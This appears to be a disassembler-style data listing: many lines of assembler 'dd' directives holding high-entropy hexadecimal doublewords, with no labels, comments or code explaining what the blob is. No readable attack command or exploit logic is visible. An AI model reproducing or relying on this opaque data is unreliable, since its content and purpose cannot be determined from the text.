		dd 0E5247660h, 1161CF23h, 7E840175h, 0FBD8D124h, 94D0A8E4h
		dd 122182ACh, 0B880747Ah, 0D9D5612Ah, 0D35D1902h, 0E7392941h
		dd 61AB4468h, 9320E515h, 21998E8h, 0D1DFB965h, 0BC8F486Dh
		dd 7E8850D1h, 0E9BC048Ch, 6288D2BFh, 0B4ED21A4h, 0D26BECE9h
		dd 0F6BADE03h, 0B16CC904h, 8C449DF7h, 0BCB62881h, 3E16F03h
		dd 0B41880BBh, 0B5FFB74Eh, 5AE80176h, 969317AAh, 0D441E0BEh
		dd 6E4F0D02h, 0E4C768A1h, 7ACF000Ch, 0F8E7F9B5h, 0D50821AAh
		dd 20A21433h, 1B946C0h,	0CFE22477h, 7C728299h, 247F87C0h
		dd 0B306EC64h, 820BD611h, 0AE140A98h, 5C289AC0h, 25007E46h
		dd 93900FDFh, 0C3296916h, 7571249Bh, 9B005D18h,	3D2BC94Ch
		dd 48D6CD4Bh, 0A6100C64h, 1AA80053h, 43266EF6h,	1EB8C5A0h
		dd 0C7F84BACh, 683F4490h, 830E500h, 61D35A7Fh, 71C40F02h
		dd 0D120259Dh, 93376FA5h, 83F11800h, 1D4BF58h, 0B6CF6EEFh
		dd 415CB74Ah, 0F8E42471h, 44868369h, 790C817Bh,	0A8771424h
		dd 836B4002h, 78C8552Ch, 2460B516h, 217501F8h, 0A3C0996Eh
		dd 8501F0h, 33666D40h, 277AF292h, 17202C90h, 294D18B8h
		dd 56CE31FFh, 15094892h, 12E8A2h, 0A38F6B35h, 0E11E0984h
		dd 74A0C1A8h, 658C7544h, 1214AA00h, 0FB27B471h,	92FF041h
		dd 0D4C88AC0h, 88A1C064h, 7FBF187Fh, 90D223E9h,	0EA00A211h
		dd 0C6E7E9B7h, 0AA240889h, 120B8047h, 0BBA811B3h, 109E618h
		dd 45896E6Bh, 0FEA58084h, 0CB6AEC01h, 99ABC60Fh, 943A96DDh
		dd 5700AA23h, 0C0128865h, 9EDB130Eh, 6864031Bh,	9AD2A4D3h
		dd 4044B4E7h, 0B2D6660h
		dd 6D123700h, 2FF8B289h, 0FD79C0DAh, 39AABD29h,	0A2252E00h
		dd 6DA861B8h, 0AC5650C2h, 0B9048C79h, 80D2BCE9h, 0EC27B162h
		dd 35F6E950h, 7A81C071h, 0D3CBB8BEh, 0E4F7A31Eh, 6039CA80h
		dd 1E14499Bh, 1D2922Dh,	3612CFF8h, 9AC0414Ah, 711C208Ah
		dd 44F1AF40h, 4101CBBBh, 1FBA3CD7h, 686092FEh, 77ED0652h
		dd 3828BC38h, 323F1C1Dh, 748B8130h, 2786002Eh, 76790CD2h
		dd 6B024775h, 0C7918389h, 0E460C74Ah, 0CBAB607Ch, 9FAA0998h
		dd 810274Dh, 3B25C66Fh,	0E8AC84A2h, 495594C2h, 322FD8h
		dd 7567BE01h, 20765160h, 0A38BA57Ch, 4F9786Dh, 0D04C82FDh
		dd 88F48E0Ch, 0C006C778h, 0E52B1CE4h, 0D11BB800h, 74B32F42h
		dd 1DAF093Ch, 0A00F4032h, 0E8F669E1h, 3EE5C3D5h, 1F7A2388h
		dd 0B002F9FAh, 0E40B1BD4h, 6E7480E0h, 80CF3E14h, 0F01F2488h
		dd 0B4751440h, 645F12FCh, 0F398486Ah, 826CB8C0h, 22534627h
		dd 0E4B1FCB7h, 123AF849h, 0C3426Bh, 647A7E94h, 0F70D9956h
		dd 0D1D823E8h, 5211C20h, 6B4C68B7h, 8804CE62h, 0C9E7C040h
		dd 8000A2B6h, 0C1C70372h, 0FC36AEE2h, 26DC0293h, 0FF224DA1h
		dd 2441BCEAh, 50FB18BAh, 9C918801h, 0D5A05948h,	0E088FF01h
		dd 6744A50Ch, 0FB180BE6h, 2C47F47Eh, 0BB60AB64h, 7907F580h
		dd 0BE045E38h, 67BCDD52h, 60A4449Ch, 7C3A6D7Dh,	0D4890536h
		dd 3A6C8C21h, 1F7823A8h, 620BC471h, 1378A05Fh, 0D3E05701h
		dd 0EE92639Fh, 69608824h, 0F4378188h, 0C1D88680h, 965740A6h
		dd 7201403Ch, 15001CA1h, 27B71D77h, 13234C81h, 59035B3h
		dd 3EADB10Eh, 0F023E4h,	0CF2105CEh, 6C9ABE0Ah, 0B0A8463Dh
		dd 0C52081AFh, 0AB1B14D5h, 4F09EC86h, 0A4CD6D6Ch, 4C5F11C0h
		dd 381B4C6Ch, 5650674h,	78A45E23h, 0E7D3DB09h, 974C82BCh
		dd 0E2ED24BAh, 30FFF294h, 34026F71h, 1057E5CFh,	0A354419Bh
		dd 0EC352A10h, 524E8102h, 58DA1A27h, 0D06CF97Ch, 0EC9F95E2h
		dd 962CC7BCh, 0A6720C1Ch, 98962FE9h, 467498A4h,	9D2A0075h
		dd 1B188733h, 0ACB1D0B3h, 52101D2Eh, 0F3C494C5h, 35FA4B60h
		dd 193E5401h, 47729C5Eh, 416B9430h, 6AC860EFh, 9F36740h
		dd 0F8DD154Dh, 7FE44C45h, 0DC05C461h, 14790C29h, 0BA26D27h
		dd 0EFD465E4h, 3598131h, 5CD40BF5h, 30F37ACDh, 12714932h
		dd 637CAF9Fh, 0B91E80Eh, 9DBCCBD0h, 80A7111Ch, 0B417FADh
		dd 0BA772EFBh, 0B24674A0h, 1D98222Eh, 0C2681F6Bh, 31BB2D2Ah
		dd 803FB482h, 0E44C450Bh, 337C60BCh, 0E3D40CB4h, 0C64889AAh
		dd 3BE1EA60h, 10E4D61h,	0B601E25Eh, 81177DD0h, 0D11DA8CEh
		dd 0DBD083B8h, 208D0243h, 7A82194Ch, 0A7702C40h, 9F0318F0h
		dd 11D5C73Ch, 0CC829C5Dh, 1E530B4h, 0E16E7611h,	0A680FE88h
		dd 259801FDh, 5DD30295h, 0DA9B2E6Eh, 0F5F9ECD9h, 528ADC19h
		dd 88771B2Fh, 0AF11E868h, 206B1F00h, 1341B707h,	470524Dh
		dd 0A229F8B8h, 0A1E7AE44h, 6F8882EFh, 0DA43522Bh, 0BECB741Ch
		dd 0C9FA41E0h, 42438DCh, 967E7A27h, 90005889h, 148742FFh
		dd 0C4A3E7Dh, 5B431C80h, 0A1EE9B62h, 1505A8F8h,	4B6D64D4h
		dd 50E7C0F6h, 4532B7C4h, 93007092h, 16659210h, 0D2AC83h
		dd 8DB78248h, 0BBCEF6C9h, 0CF5288h, 28B51D5Bh, 1E4339D0h
		dd 4B0045B8h, 20D12361h, 26674A7h, 0D05D8710h, 2CC7AE53h
		dd 5480716Eh, 0D94D2E4h, 0DFF0F562h, 0B5D8E94Dh, 24756B18h
		dd 9679CF2Fh, 738B0058h, 0A70C5524h, 0E20013EDh, 48F45B74h
		dd 26DEE514h, 45060EAh,	168996CBh, 5D90C8h, 1C5431DEh
		dd 17CF276Dh, 0D5A79A02h, 8A486A72h, 6711B8D0h,	0E87A5B03h
		dd 0D2E0A7EAh, 0E56216D3h, 0E034D518h, 531495h,	392F82C4h
		dd 0AB38E0B1h, 0DECB1809h, 0D9D45195h, 7A618B6h, 7C631D42h
		dd 53DA4299h, 0A5293203h, 0E1D3C0A2h, 12984181h, 938683Ah
		dd 0C0DB2E11h, 5A0AC764h, 36CC05F2h, 2398A0A0h,	207BC84Bh
		dd 6D0A000h, 21A4A838h,	944E7218h, 5C5B2DA8h, 0C8211808h
		dd 22D5210Eh, 0FF2EEC3h, 0B22BD607h, 0B8FAE9AEh, 0BB02F046h
		dd 5B27BD6Ch, 6D623871h, 0B96DC3B0h, 0C9D47D31h, 5E37044Dh
		dd 90BACE4Eh, 73A07A6Ch, 3FB66007h, 4070CAA7h, 595283h
		dd 0C27C0A45h, 4B8906B5h, 3F04A1FEh, 0E71DCBA8h, 0B1EC00A8h
		dd 7183008Ch, 7EEF53E3h, 0A45C7407h, 90A32214h,	0F54B2048h
		dd 327A210Ah, 8A03987Eh, 0E0960AC1h, 0A1E6AC49h, 1510DB9Ch
		dd 0E30D1EA6h, 499CCE78h, 25DDC820h, 40606050h,	0B4AA4A54h
		dd 0B0D1DC59h, 0BBBA6019h, 0AB00D8F8h, 98198DA1h, 98A06694h
		dd 748B4C70h, 9733DD09h, 5037182Bh, 4B363180h, 959D5DBh
		dd 455A62EDh, 0B4907C89h, 0BB241B5Ch, 6A42BCE3h, 5998647Bh
		dd 0BE80C878h, 0B8D2BDE9h, 3D01697h, 71E9B6EFh,	909FB4B5h
		dd 14FA252Ah, 0A5D50103h, 0D2CF0713h, 0DC5232h,	0D8D45D4Ch
		dd 3C5AAA19h, 8631EE98h, 24DC88E6h, 0B7108C2Ch,	486B93ADh
		dd 0DDBEC712h, 0AC182C84h, 18008CBCh, 0CFFDF205h, 8D82A1h
		dd 348011AAh, 8A47E2C4h, 0CED6C90Ah, 9CA1CCF3h,	4D18B1D1h
		dd 0DC4C322Ah, 15773A00h, 7CF26B59h, 1C144C67h,	2442111h
		dd 9BC35E2Ah, 1EB066A4h, 40C6A289h, 0B8BD91F8h,	69120DD6h
		dd 74B03A2Bh, 122CB649h, 0E278B24Dh, 8FB730FEh,	3A18C601h
		dd 0A443DE6Ch, 7D37034h, 75350759h, 9418891Dh, 0D40FFC39h
		dd 0E126D701h, 1041D348h, 0E0CC6DDAh, 0FD541079h, 3E816003h
		dd 18B5D2A8h, 0A9F4C721h, 5600A0CCh, 3BF6F7F1h,	133015h
		dd 0B487B264h, 53DE5F38h, 0CE391008h, 0CE939852h, 8102A4DAh
		dd 4DFACA48h, 306CFA21h, 8C29A1F1h, 43042B1Ah, 7799FE08h
		dd 0D0E754A6h, 879E0B77h, 0C6EDC00Ch, 7E541E8h,	0B908E133h
		dd 152C00F8h, 0E700515Ch, 43FD659Fh, 585D026Ch,	4C892413h
		dd 2358545Bh, 55D800B1h, 0BD992729h, 7D00664Eh,	0F90C643Ah
		dd 49022B91h, 0CC4B144Bh, 0EF60C648h, 4B502049h, 0C4050A4Fh
		dd 60A47BF8h, 33264284h, 3CA5590Fh, 5813F23Ah, 0BBCB8404h
		dd 0B4005814h, 6C5F28FBh, 8E608FC6h, 0E84F6018h, 0A850282Ch
		dd 0A7B409E8h, 0E470861Dh, 0CC17FB5Ah, 0E3DDE4CBh, 8FE1BC07h
		dd 71A31CA2h, 19A5F118h, 0CC936680h, 0D81DA803h, 6F0ADB98h
		dd 984D0E33h, 70092912h, 71B8D140h, 749618AAh, 0B1C7FFDh
		dd 0BD0DC7Bh, 8C71DC42h, 11187B79h, 12213505h, 0A0026462h
		dd 0D0E31BACh, 0D29CA0A8h, 0F8C230CBh, 63667610h, 9327E00Bh
		dd 8CE449B4h, 0AC28380Dh, 53EA8C7Fh, 0C85C2802h, 67E01796h
		dd 60FDE4DCh, 11C8317h,	743D0DACh, 0C88D2C48h, 4001AE07h
		dd 9C2D7FD8h, 0C9F14D62h, 7B7C9C68h, 5B4E042Ah,	0E8F6D083h
		dd 0A3B400F0h, 0D65ACFFFh, 0BBD8A1A9h, 98A24560h, 0AE0625A8h
		dd 78643047h, 2CF85062h, 20E51805h, 349D19D0h, 0B0E2AC62h
		dd 0D2F80631h, 50870B63h, 88C832BDh, 5F0320B3h,	0ECDE4E07h
		dd 638A84Bh, 0E2D20027h, 83123FFBh, 4D2EE478h, 0AE8BA42Eh
		dd 0D5CF828Fh, 65FC7C9Ah, 81B4DF66h, 90090661h,	9EE92CCh
		dd 0E6852F14h, 0B7642447h, 23654067h, 0C7776818h, 0E1E842F5h
		dd 97DE6081h, 588879BCh, 0BC985C96h, 5A0B8C75h,	827D08AAh
		dd 7C888ADCh, 54D00124h, 3B2721B1h, 0FE961804h,	2E84D8A3h
		dd 0AC94772h, 1CA2A4C5h, 7EA84CD0h, 0CB21078Ch,	71DC702Eh
		dd 49DFDB92h, 0ACCC2828h, 160E8C7Fh, 819A7AA4h,	0DE72D4F0h
		dd 0C7E0F2DFh, 60A44458h
		dd 26BDA26h, 993DB7DDh,	0E472CE4Bh, 0DC5A5E01h,	47F4AC96h
		dd 98F7E862h, 0EB7906C0h, 8CCD4BA8h, 65404A8Ch,	405627D4h
		dd 906760EDh, 0FA38E4D9h, 0F083007Ah, 194C82C6h, 4302EBFDh
		dd 0A4E15818h, 49547E68h, 0F7548C80h, 6A27276Bh, 0D254E016h
		dd 0E34A20D3h, 0DE1A2112h, 1DBDCE0h, 9406C9C1h,	0EAA20ACFh
		dd 0F5D9F0D1h, 0C4253C18h, 65284833h, 177B056Ah, 0ADCE8B6Ch
		dd 0DD470058h, 6713411Bh, 2CA11822h, 6C16908Ah,	2647FB80h
		dd 8C70FA33h, 6A3955F1h, 0D0A52E0Fh, 3140FC52h,	6EF0D864h
		dd 0DA9B2D26h, 4091789Dh, 0FF44EE80h, 0FE018ACCh, 0AACD5CACh
		dd 2CCDB314h, 0E8079479h, 101F8D87h, 0C7314BEAh, 810573E8h
		dd 6FB85ED4h, 4650F81Ch, 4BC07448h, 0D934D5A8h,	796E5D02h
		dd 4017A94Ch, 73F1813h,	642F5FC2h, 0DE9D30FBh, 97975D19h
		dd 8FB09198h, 6928091h,	584E8A85h, 7CE8B88Dh, 81EE8Ch
		dd 4DFF6CC3h, 22C2371Dh, 19D8D501h, 0B84A2AC9h,	0D689C840h
		dd 988A9F0Bh, 0A65E0A18h, 0B867080Ch, 91254D09h, 18566FDCh
		dd 2B34698h, 0CFF82475h, 1FD09C49h, 0C3247D85h,	0D7080986h
		dd 2F4533D0h, 0E52D4D14h, 0CE040030h, 470A64CCh, 91654BA5h
		dd 2AC5A8B0h, 7DB44Bh, 8F770CA0h, 5AC909F8h, 741FBF86h
		dd 0E300C639h, 8608B73Ah, 0CB775C43h, 1AC8348h,	4DABC629h
		dd 1873F923h, 23642B5Ah, 897B00F0h, 4D4EA79Ch, 465C90B4h
		dd 0D16707FCh, 0C721943Ch, 4C381FC8h, 18175D27h, 4080BD91h
		dd 0C71D390Ah, 0F71AE005h, 50C099AAh, 132D5D09h, 0C03AD34Ah
		dd 0C66C4E48h, 0F8B56B28h, 82339709h, 13C443BDh, 8EF2AA28h
		dd 0C7B6C85Ch, 9F7940EDh, 10777FF8h, 6A21BD09h,	2A70A0F6h
		dd 297C663Ch, 91C473B0h, 0D4400DE4h, 426B3057h,	0AF272CDCh
		dd 0F3D488C3h, 337CE248h, 1947B8B0h, 2B693506h,	0A7F1AA0Eh
		dd 607E64C4h, 1CB7C278h, 4CDDB80h, 0B5D1B1Eh, 71C479B4h
		dd 8918A5h, 6712C9Bh, 6D8F5BD7h, 198F889Eh, 90A43267h
		dd 7C359D4Ch, 0C017F78Fh, 0DB06B461h, 8EDF1D87h, 288502Eh
		dd 68D52FAAh, 3CBC887Ch, 10D3A80Bh, 2B158194h, 96C852EEh
		dd 0C0109E6Bh, 9ED5E320h, 16D32D72h, 8280A08Ch,	908005FFh
		dd 26FA91CCh, 0D14CEC1h, 6F9188CBh, 0B03E0C6Eh,	82F83701h
		dd 251E8499h, 0A02E2FDCh, 1E01F223h, 0B1CF266Ch, 84C1A044h
		dd 0E907BE8Ah, 0FB900413h, 0D8D09726h, 424625E8h, 5E88766Ch
		dd 0AA02B146h, 0F1F31BD4h, 74C22882h, 10D098D3h, 0EC1B014Bh
		dd 2B6FF326h, 9D83CDAh,	48D3D4BFh, 747A2158h, 44FCAEC2h
		dd 5A26CF50h, 97851CC6h, 0A0F1733Eh, 0C21EDC20h, 4D0EB19h
		dd 0E144F446h, 9DA0A111h, 87C7A700h, 2BD319C1h,	0CC7DA1BAh
		dd 0F1E00443h, 10C04BECh, 6F4C5B4Fh, 0AFBE00C7h, 0E19FE87h
		dd 42001125h, 0C83ABB8Bh, 0F8DEFCh, 0A8ABE752h,	0F5144997h
		dd 0F0CA0E00h, 5E36AAE1h, 98483F0Fh, 542B6080h,	3EAE2135h
		dd 0D0BC3F00h, 0C82842E3h, 0F5EA00DDh, 74A8DB48h, 8D078425h
		dd 2C3DC7E8h, 93B40CFh,	1B85D4h, 6250B469h, 0FBB2CC58h
		dd 36EAE800h, 9A660C27h, 2A9B0083h, 7B02E5F1h, 0DB006E59h
		dd 0F4B487A4h, 0AB5CD3h, 0D209E498h, 5AD6328Dh,	78E02900h
		dd 68361F9Fh, 3CB9339Dh, 4DC81E8Eh, 0A9F4A072h,	2559ED07h
		dd 9470EF1Ah, 0F4392617h, 3BBCB2C7h, 0EB80A2A5h, 4B15BB69h
		dd 20074190h, 0C24379Bh, 118AA6h, 0CC2133A0h, 230E18BDh
		dd 0AE9A8360h, 75C709h,	0D15C0F2Bh, 0FC2D92F5h,	0F9FF4501h
		dd 3502D573h, 20D048h, 426174A1h, 4C22AA36h, 0A7A2601Fh
		dd 0C26C0C03h, 0E2A0FF97h, 7B6556A9h, 0D3DD0947h, 178DC7E3h
		dd 3117C889h, 8B35A400h, 6A1504F8h, 26600D8h, 5B4527Dh
		dd 0D100DD54h, 5A497301h, 0A8BD882Eh, 0A6CDACh,	488BC75Bh
		dd 0C5716350h, 0F9A28F00h, 96C96597h, 66450077h, 8E2B84A7h
		dd 0E7FE7B07h, 3CB99F39h, 3BC40053h, 0A16E68BEh, 0B65500A6h
		dd 14A0B1CEh, 483D7AF4h, 31D782DAh, 404670A8h, 0B6911Fh
		dd 52CC9C12h, 0F2C0D87Bh, 0B8908100h, 13F12B46h, 847550C1h
		dd 89D10C5Eh, 76E838D3h, 4687E50Eh, 819620F3h, 2A3925CDh
		dd 5DCCA40h, 94356092h,	0E48C4EAFh, 604CE547h, 3191BE10h
		dd 8B8A4E00h, 0A769ADD0h, 504DF4B4h, 30B2C4h, 90577AE1h
		dd 89ACAF64h, 86FD8F00h, 0F5CA92D9h, 6FEC0129h,	8552C391h
		dd 0E88ECEBh, 0A857C71Eh, 8AD14100h, 0CD7B67h, 0DA4451F6h
		dd 450ADE87h, 3ED8DD00h, 0ECCF79BAh, 0C06770ABh, 1104D202h
		dd 0AA008C13h, 2F7EC76Bh, 0C04C2EB5h, 0DF8ED10Fh, 8C3B4A30h
		dd 33EE808Ah, 143724EFh, 0C0B700EBh, 765CFF16h,	1F0039B1h
		dd 9905CCBAh, 0CD140B6h, 694BD24Ah, 0AB13EE4Dh,	730004C8h
		dd 9B652A28h, 3F780075h, 0D6634629h, 0C80E33FFh, 6045277Eh
		dd 77E42CEAh, 90F51894h, 0F9BECCE8h, 0EB27292Eh, 0C0A3CA01h
		dd 0CD80017Fh, 180C04A6h, 3488AF91h, 5C4200F1h,	1E4779Eh
		dd 0F010246h, 0AF1D294Ch, 0D5E00EC8h, 3520026h,	0FE2ACCCDh
		dd 23264615h, 4500A55Ch, 0D38889DCh, 3AE90FB0h,	0F1E1CD54h
		dd 0C04378BFh, 1A00DFDDh, 93597A88h, 9B7703h, 27D69DC0h
		dd 0CA918044h, 0F31EEC00h, 60384568h, 78C1000Eh, 0DC067DB1h
		dd 76FAA935h, 12019A7Bh, 5AB78563h, 7BE7DE01h, 0FA023DB2h
		dd 0A3B85980h, 0EB783DC5h, 7476CD00h, 411AFC33h, 10AF0092h
		dd 0E48F2275h, 88A87B16h, 0D156483Dh, 0B9A000C0h, 2C6698E4h
		dd 97DA13BFh, 2C691BE8h, 82C59600h, 65F61B5Fh, 41FF0087h
		dd 0E5A98CCFh, 0C002F2Ch, 0EF1249C8h, 7166ABh, 0D95DB784h
		dd 0DCFFAEFBh, 0E07B9800h, 1B6094BDh, 9C7E0005h, 2178C0E6h
		dd 88012FDEh, 0AD253B80h, 1B804426h, 0DFA386C9h, 43002932h
		dd 0E906187Eh, 1CF652F1h, 86159D13h, 2EDE3416h,	9376B903h
		dd 243E91F4h, 4163FAECh, 0E8D04821h, 0A800D487h, 8CFF269h
		dd 0FB7359h, 6184D73Dh,	282AB79Ah, 0ECFE86A0h, 0BED7418h
		dd 784D900Fh, 87AA0C6Ah, 2017987Ah, 33298E00h, 0D2439B75h
		dd 9F660089h, 0D4EC4F0h, 400423EAh, 9E8458C0h, 46050DB8h
		dd 403F41C8h, 863D04B8h, 447863C2h, 94722106h, 17B5AB0Eh
		dd 3DD492h, 0FCC3E6C0h,	63122A4Dh, 9B701B80h, 0EC6FA7h
		dd 0DA1D02C9h, 3CE277F7h, 0E4CF5609h, 0A945008Ah, 0FF4366h
		dd 9D6B4912h, 4729B074h, 7E9B4B50h, 0C007D72h, 8EDD6B8h
		dd 0EE3016C5h, 0BA4F3031h, 0AE91D440h, 11E6F30Ch, 6212B9h
		dd 848D492Eh, 0EA6FF9D7h, 0C74E3400h, 72B4CCF8h, 5BB62474h
		dd 33160E80h, 0C5073C0h, 987D1F05h, 0ED24A560h,	7C024D61h
		dd 1E27FCE9h, 0BB1AA67h, 718E3053h, 1011D3C0h, 10086A4h
		dd 25EB2F52h, 2541336h,	3428774Ch, 47401AD8h, 8D00F282h
		dd 3AD98C95h, 137FE21h,	4C1BA288h, 206CA99Ah, 3948A825h
		dd 2309007Ah, 0BC7FCD9Ch, 834A0078h, 74FE2D65h,	0EA3C99D3h
		dd 0CD8E80C7h, 73E829E7h, 4C1A0E90h, 66C096C5h,	6B5D4FC2h
		dd 269D6509h, 600880FCh, 0FC03E19Bh, 24D77466h,	1EDFAA20h
		dd 47058426h, 0EBC380C9h, 11793427h, 3C209702h,	40C6957Eh
		dd 2ADF559h, 81641F03h,	0C054BDh, 9400584Ch, 758F3089h
		dd 0DCA3C6h, 0D3F665B0h, 0B17F5D0Ch, 0D8FB601Fh, 1A400312h
		dd 4152079h, 25480013h,	82B30E1h, 0C0C4FC4h, 0DF71A5E9h
		dd 0A6C90B92h, 0C30B362h
		dd 6E00ED23h, 4E0D074Bh, 0C502A2Bh, 405E089h, 0E8768361h
		dd 24398778h, 5305738Bh, 0C381E389h, 0EB94121Dh, 1C870306h
		dd 0D895C24h, 636D6832h, 0F034E118h, 811CB951h,	0B8406537h
		dd 6B704B9Fh, 1E210105h, 0C8296A2Ah, 5907402Dh,	38C58B54h
		dd 3119C481h, 5EC8C380h, 0A61CFE08h, 30FF6F0Fh,	58C80AD5h
		dd 620EE9C0h, 9FCFCh, 18E5B83Fh, 0C503060Bh, 0F50FE0F4h
		dd 0C259D311h, 402496C7h, 3D30BE7Ah, 33BA5BDFh,	4306A900h
		dd 74CFD3A5h, 794F4700h, 0FB7AD415h, 487D3F1Bh,	4EDE4500h
		dd 544718AFh, 0C7538700h, 943EED69h, 2F403BAh, 17F56F1Ah
		dd 0CBE013F9h, 3C8341D0h, 93099C01h, 726FE25Bh,	0AD7F60E9h
		dd 2F8CACE4h, 0DDBD89h,	31D38B78h, 0C139739Dh, 1585C710h
		dd 0D00C9E2Ch, 0E6FB3875h, 0D9B4B01Bh, 335B0D62h, 0C31B8B0Fh
		dd 10A58DA8h, 556160C9h, 4A58795Bh, 0BF0F06A9h,	1B06E8DEh
		dd 9762BD00h, 89DA249Ah, 0E1C16385h, 61A0EB58h,	7FE1E99Dh
		dd 5BE83EADh, 6653E505h, 0E6EEF18Bh, 663DB1CBh,	5E198D20h
		dd 0FF5DABFDh, 238E1CEh, 0C018EE0Ah, 53397Fh, 45DCB42Dh
		dd 0C1BE2080h, 0E9328B72h, 0F5603575h, 3591E571h, 0BE016A17h
		dd 221F4598h, 8D800A7Bh, 8B8021EDh, 0EFC108FEh,	408680Ch
		dd 21E3920h, 2E0D9C57h,	95FF0A13h, 32E90E1Ah, 0B18ABE17h
		dd 0C530DF04h, 31AD05A9h, 0A0053F3Ch, 0C612790Eh, 7C6A500Ch
		dd 6ED056FAh, 0C3610712h, 0EB50E0C1h, 1C8F4Fh, 8ABFA25h
		dd 0ACDAC6A1h, 0D41CA47Ah, 0E45C5CD2h, 3134CE01h, 27D41BF5h
		dd 0D1293CB3h, 0C7DD5B81h, 0F317E62Ah, 67D0DFF3h, 4FE1A6DBh
		dd 0B4878001h, 1C2352DDh, 229ED920h, 0E90CE92Ah, 4A85F6B7h
		dd 0DD31217h, 7AD5897Ah, 6CCB04F9h, 64C067D5h, 0D2F9601Ch
		dd 93141DD0h, 15A780B7h, 0B829EE80h, 0DDC04DA3h, 448C2F8h
		dd 8C1CECE5h, 17998A00h, 0FD322EAAh, 897206AEh,	0C628418Dh
		dd 48A0F14h, 0D9BA0078h, 2DBD8BD1h, 16349225h, 0FFCF8AC0h
		dd 1321DCDFh, 8D05D091h, 0BFAA7B9Dh, 1188D6F6h,	0C8171AA1h
		dd 0C869DAEFh, 1A6FC215h, 0E079FDh, 5322D981h, 5CBD764Eh
		dd 0FD28D672h, 8517A05Ch, 0CFFF1B51h, 0C61988E1h, 89172675h
		dd 0D0BF70F0h, 271494E8h, 0AE98190Fh, 8FC1DCA7h, 174D811Bh
		dd 0EE6CBB20h, 0CAD6BF0Bh, 0FAE107DCh, 40C78DA9h, 3444985Fh
		dd 40BA505Eh, 0E2585E8Dh, 0B12C6EF3h, 2387FAD4h, 1159918Dh
		dd 83A129FCh, 1817717Bh, 52920ED8h, 66E7F8CDh, 2E929BB9h
		dd 0F4A72FDh, 0CFB73981h, 0A1A4F6C0h, 5B00D874h, 9F1C80F1h
		dd 265493E3h, 3837C84Fh, 54BF19A0h, 3563CA63h, 0B2A6EA81h
		dd 0FAC087B3h, 0D1EA6FDh, 559422DDh, 79911FCh, 6F59EF5Eh
		dd 8B455418h, 0E386B6FBh, 0D814C173h, 3C16EAFCh, 0C1E58DB7h
		dd 3EA4EB08h, 0B4EF009Eh, 1E293C96h, 0F003E4EEh, 0D03A5C45h
		dd 6886224Ch, 20F98181h, 2A4C79B5h, 9FE9C857h, 6259D651h
		dd 634D4703h, 3DC6E0EEh, 918572Fh, 0E8E4DA80h, 0A7D22890h
		dd 0A3D49A26h, 0F8D4501Ch, 870F83CAh, 0B2274902h, 0CE82870h
		dd 5C2FF42Dh, 30033495h, 0C511CF75h, 468059C2h,	0E858FBB5h
		dd 90D44h, 7FF140CDh, 0C50A113Ah, 0E8A1D000h, 95C78184h
		dd 0AE77B15h, 68E0F5Fh,	0E1BD063Ch, 7C9BFE0Dh, 3CB5DD2Fh
		dd 0B54D4580h, 8B8E0FD6h, 0F218C085h, 0A6B33A6Fh, 5525B924h
		dd 680232CEh, 61C03B55h, 84DFA997h, 0CD8CE8BAh,	0ADFC0948h
		dd 0E047809h, 857FC2CBh, 0F602F092h, 641A0BE1h,	355F956Fh
		dd 4A81BD7Dh, 8B9783CDh, 11527D7h, 0D9AA70BFh, 3A30681Dh
		dd 0B94B01B3h, 44CD97FEh, 1FE72081h, 3E5C5712h,	1496A6ABh
		dd 0A4B915C5h, 1621C505h, 893E3BCAh, 60193531h,	102E7033h
		dd 61F733C5h, 0B86F9110h, 0DF008C1Bh, 5DFCD87Fh, 98DD14Ah
		dd 321D9D01h, 0A512E712h, 2BE9AB0Eh, 97AF5357h,	0EBA275F5h
		dd 61B0AEB6h, 0E5093768h, 84508E89h, 51400E1Ch,	0D6B31920h
		dd 0B6ECD903h, 815007F0h, 2A814F32h, 585A310Fh,	0DD0AA659h
		dd 12D3370Ch, 24340781h, 8996880Eh, 18E47645h, 747BF160h
		dd 8AB83A09h, 858F14E8h, 601C4428h, 175C2BF2h, 5D8F4E0h
		dd 65F903DDh, 9F8430F5h, 3D145A9Eh, 7DF08D9Bh, 1B000B99h
		dd 2550D279h, 0C8BF1FA0h, 0E328CAD6h, 6D221D8h,	3108E960h
		dd 81A73500h, 6F641D21h, 203F90ADh, 614802E1h, 109D103Ah
		dd 6C24E546h, 908760BAh, 0FF0E9A68h, 0C05A913Ah, 778E9BC5h
		dd 9B815C0Fh, 0BE0ABFC9h, 0D4BE827Ch, 8476376h,	0C7601744h
		dd 0D94B50F6h, 0FDAA0334h, 20FCAC5Dh, 0C12FEFA9h, 97B2D50Dh
		dd 0FA814F35h, 60E43CE3h, 2FF16D30h, 0A05D3799h, 0F20339ACh
		dd 0C1F0236h, 0BE2A9497h, 0BF0FD248h, 588CCB65h, 0B7925097h
		dd 9F7407D1h, 0A0C18830h, 857170CFh, 0BC044916h, 680030FDh
		dd 9ECA4D0Ch, 0D4BD8990h, 5900BCB7h, 0B3C6B7EAh, 9002B15h
		dd 34F7B93Eh, 48C8A42Fh, 57129A05h, 0E5983059h,	125DDF64h
		dd 0BBC17h, 66D0B441h, 3CF2E1D3h, 4CE2E556h, 0DC990504h
		dd 0C4664967h, 82E174CEh, 0FFC9501h, 0C5C8288Dh, 9D10294Fh
		dd 29B9294h, 286E7880h,	0D70B39E1h, 0DDB08280h,	31F6D3E8h
		dd 932A0300h, 548F814Dh, 6A7C30ABh, 8D6DF4Ch, 6862B901h
		dd 35A7AE02h, 0BE769857h, 9D892E0Eh, 1C822DDh, 0E2320F70h
		dd 0D99E25B9h, 908B241Fh, 1DCEF012h, 0B0F0A6AAh, 1F87DB6h
		dd 2E9A4179h, 77880F62h, 976A2AF6h, 0FF04DE03h,	4A260995h
		dd 0D6D8AB92h, 4C8AA49h, 0AE1264A9h, 0D4E0D6B6h, 5C6885C7h
		dd 31383144h, 8F0F4EFCh, 0EEB9E24Ch, 0B28BB932h, 33410102h
		dd 0F8BE9252h, 12E94706h, 568E001Dh, 53856EBFh,	0A1480BF9h
		dd 2B1400FFh, 30176FEEh, 5C5C9065h, 84C4A750h, 0BA56580Dh
		dd 5CE4C82h, 88B25A63h,	12B23058h, 65205DB1h, 3B33BA57h
		dd 5F92C313h, 232D3A58h, 0B420216h, 0FAF59050h,	318501CEh
		dd 0CB0E8670h, 50B6C82Ah, 90FBE8C0h, 0A815B589h, 9B0B6ACEh
		dd 0FB9F786Eh, 380F985Ch, 8A1B5C29h, 0FDAFE831h, 25807FB5h
		dd 0BC5AE759h, 8D0B0CFCh, 235A03BDh, 7DD952Eh, 68B65089h
		dd 8A8C0F57h, 0C4B0B270h, 17F19099h, 3B00B618h,	0E2B9C72Bh
